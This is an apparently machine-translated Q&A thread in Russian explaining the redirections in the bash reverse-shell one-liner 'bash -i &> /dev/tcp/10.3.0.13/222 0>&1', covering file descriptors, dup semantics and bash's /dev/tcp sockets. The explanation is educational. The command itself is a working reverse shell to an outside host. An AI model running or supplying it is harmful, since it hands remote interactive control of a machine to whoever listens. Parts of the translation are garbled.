Что означает перенаправление оболочки 0>&1?

Что означает перенаправление оболочки 0>&1?

пытаюсь понять команду:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

означает ли это, что STDIN "bash -i" получит содержимое STDOUT?

решение1

&> fileсам по себе является тем же самым , что и > file 2>&1, который открыт fileв режиме только для записи в файловом дескрипторе 1, и дублирует этот файловый дескриптор 1 в файловый дескриптор 2, так что оба fd 1 и 2 (stdout и stderr) указывают на негооткрыть описание файла

0>&1(то же самое, что 0<&1и или <&1) добавляет 0 (stdin) в список. Он также дублирует fd 1 в 0 (fd 0 указывает на тот же ресурс, на который указывает fd 1).

Теперь, когда вы делаете > /dev/tcp/host/portin bash(как в ksh, откуда эта функция), вместо того, чтобы делать a open(file, O_WRONLY), bashсоздает TCP-сокет и подключает его к host:port. Это нетолько для записиперенаправление, это сетевой сокет для чтения и записи.

Итак, вы получаете fd 0, 1 и 2, которые bash -iявляются сокетом TCP. Когда bash -iчитает на своем stdin, он читает из сокета, то есть из того, что находится на другом конце, host:postи когда он (или любая команда, запущенная оттуда) пишет в fd 1 или 2, он отправляется через этот сокет.

решение2

Давайте пойдем шаг за шагом.

  1. bash -i: открывает интерактивную оболочку
  2. &>: перенаправляет стандартный вывод и ошибки в сокет, открытый на IP 10.3.0.13, который будет прослушивать порт 222
  3. 0>&1: Мне нравится читать это как 0<&1. Это буквально означает, что «0» присоединен к «1», что означает, что stdin присоединен к stdout, и из пункта 2 мы знаем, что stdin для этого процесса bash доступен злоумышленнику, прослушивающему порт 222.

решение3

Вкратце, команда открывает интерактивную оболочку bash, которая считывает входные данные и передает их вывод и ошибки через сокет TCP на хост, указанный по IP.

Подробности: (!!!Поскольку я не эксперт, некоторые описания могут быть неточными или неточными.)

&> /dev/tcp/10.3.0.13/222состоит из двух частей. Первая:

/dev/tcp/10.3.0.13/222

Bash обрабатывает некоторые имена файлов, особенно когда они используются в перенаправлениях, например /dev/tcp/host/port

Если host — это допустимое имя хоста или интернет-адрес, а port — это целый номер порта или имя службы, Bash пытается открыть соответствующий TCP-сокет.

Второй:

оператор &>перенаправления, направляющий стандартный вывод и стандартную ошибку в один и тот же файл.

Таким образом, &> /dev/tcp/10.3.0.13/222это означает открытие соответствующего TCP-сокета и перенаправление выходных данных стенда и ошибок стенда в сокет.

Перенаправления фактически выделяют новый дескриптор файла, который ссылается на то же описание открытого файла, что и старый дескриптор.

Описание открытого файла — это запись в системной таблице открытых файлов. Описание открытого файла записывает смещение файла и флаги статуса файла. Дескриптор файла — это ссылка на описание открытого файла; эта ссылка не затрагивается, если pathname впоследствии удаляется или изменяется для ссылки на другой файл.

Таким образом, на самом делевыход стендаиошибка стенда(на самом деле это дескрипторы файлов) ифайловый дескриптор сокетатеперь относится к тому жеоткрыть описание файла. Это означает, что всякий раз, когда появляются выходные данные или ошибки от bash, эти данные записываются в сокет и отправляются на целевой хост, указанный выше.

0>&1

перенаправляетвход стендаквыход стенда. Используя идею выше, это буквально означаетвход стендаотносится к тому же самомуоткрыть описание файлакоторый упоминаетсявыход стенда; который является тем же самым, который также упоминаетсяошибка стендаифайловый дескриптор сокета. Это означает, что всякий раз, когда хост, выполнивший эту команду, получает какие-либо данные черезсокет tcp, bash считывает его как входные данные.

Если вы не обладаете знаниями о том, что на самом деле означает перенаправление, довольно сложно понять, что означает перенаправлениевход стендаквыход стенда. Это не значит, что нужно читатьвыход стендакаквход стенда, так как это не имеет смысла. Это на самом деле означаетвход стендаивыход стендаотносится к тому же самомуоткрыть описание файла. Таким образом, команда считывает входные данные и отправляет свои выходные данные в тот же файл, как здесь, в сокет.

Использованная литература:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Перенаправления https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

Связанный контент